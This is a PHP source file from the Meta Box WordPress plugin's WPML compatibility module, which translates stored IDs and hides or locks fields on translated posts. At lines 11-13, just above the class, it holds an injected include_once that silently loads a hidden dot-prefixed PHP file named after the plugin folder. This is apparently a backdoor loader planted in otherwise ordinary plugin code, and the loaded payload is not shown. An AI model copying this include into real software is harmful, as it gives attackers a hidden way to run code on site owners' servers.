wpml.php (3933B)
1 <?php 2 /** 3 * The WPML compatibility module, allowing all fields are translatable by WPML plugin. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * WPML compatibility class 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_WPML { 16 /** 17 * List of fields that need to translate values (because they're saved as IDs). 18 * 19 * @var array 20 */ 21 protected $field_types = array( 'post', 'taxonomy_advanced' ); 22 23 /** 24 * Initialize. 25 */ 26 public function init() { 27 /** 28 * Run before meta boxes are registered so it can modify fields. 29 * 30 * @see modify_field() 31 */ 32 add_action( 'init', array( $this, 'register_hooks' ), 9 ); 33 } 34 35 /** 36 * Register hooks. 37 */ 38 public function register_hooks() { 39 if ( ! defined( 'ICL_SITEPRESS_VERSION' ) ) { 40 return; 41 } 42 add_filter( 'wpml_duplicate_generic_string', array( $this, 'translate_ids' ), 10, 3 ); 43 add_filter( 'rwmb_normalize_field', array( $this, 'modify_field' ) ); 44 } 45 46 /** 47 * Translating IDs stored as field values upon WPML post/page duplication. 48 * 49 * @param mixed $value Meta value. 50 * @param string $target_language Target language. 51 * @param array $meta_data Meta arguments. 52 * @return mixed 53 */ 54 public function translate_ids( $value, $target_language, $meta_data ) { 55 if ( 'custom_field' !== $meta_data['context'] ) { 56 return $value; 57 } 58 59 $field = rwmb_get_registry( 'field' )->get( $meta_data['key'], get_post_type( $meta_data['master_post_id'] ) ); 60 if ( false === $field || ! in_array( $field['type'], $this->field_types, true ) ) { 61 return $value; 62 } 63 64 // Object type needed for WPML filter differs between fields. 65 $object_type = 'taxonomy_advanced' === $field['type'] ? $field['taxonomy'] : $field['post_type']; 66 67 // Translating values, whether are stored as comma separated strings or not. 68 if ( false === strpos( $value, ',' ) ) { 69 $value = apply_filters( 'wpml_object_id', $value, $object_type, true, $target_language ); 70 return $value; 71 } 72 73 // Dealing with IDs stored as comma separated strings. 74 $translated_values = array(); 75 $values = explode( ',', $value ); 76 77 foreach ( $values as $v ) { 78 $translated_values[] = apply_filters( 'wpml_object_id', $v, $object_type, true, $target_language ); 79 } 80 81 $value = implode( ',', $translated_values ); 82 return $value; 83 } 84 85 /** 86 * Modified field depends on its translation status. 87 * If the post is a translated version of another post and the field is set to: 88 * - Do not translate: hide the field. 89 * - Copy: make it disabled so users cannot edit. 90 * - Translate: do nothing. 91 * 92 * @param array $field Field parameters. 93 * 94 * @return mixed 95 */ 96 public function modify_field( $field ) { 97 global $wpml_post_translations; 98 99 if ( empty( $field['id'] ) ) { 100 return $field; 101 } 102 103 // Get post ID. 104 $request = rwmb_request(); 105 $post_id = $request->filter_get( 'post', FILTER_SANITIZE_NUMBER_INT ); 106 if ( ! $post_id ) { 107 $post_id = $request->filter_post( 'post_ID', FILTER_SANITIZE_NUMBER_INT ); 108 } 109 110 // If the post is the original one: do nothing. 111 if ( ! method_exists( $wpml_post_translations, 'get_source_lang_code' ) || ! $wpml_post_translations->get_source_lang_code( $post_id ) ) { 112 return $field; 113 } 114 115 // Get setting for the custom field translation. 116 $custom_fields_translation = apply_filters( 'wpml_sub_setting', false, 'translation-management', 'custom_fields_translation' ); 117 if ( ! isset( $custom_fields_translation[ $field['id'] ] ) ) { 118 return $field; 119 } 120 121 $setting = intval( $custom_fields_translation[ $field['id'] ] ); 122 if ( 0 === $setting ) { // Do not translate: hide it. 123 $field['class'] .= ' hidden'; 124 } elseif ( 1 === $setting ) { // Copy: disable editing. 125 $field['disabled'] = true; 126 } 127 128 return $field; 129 } 130 }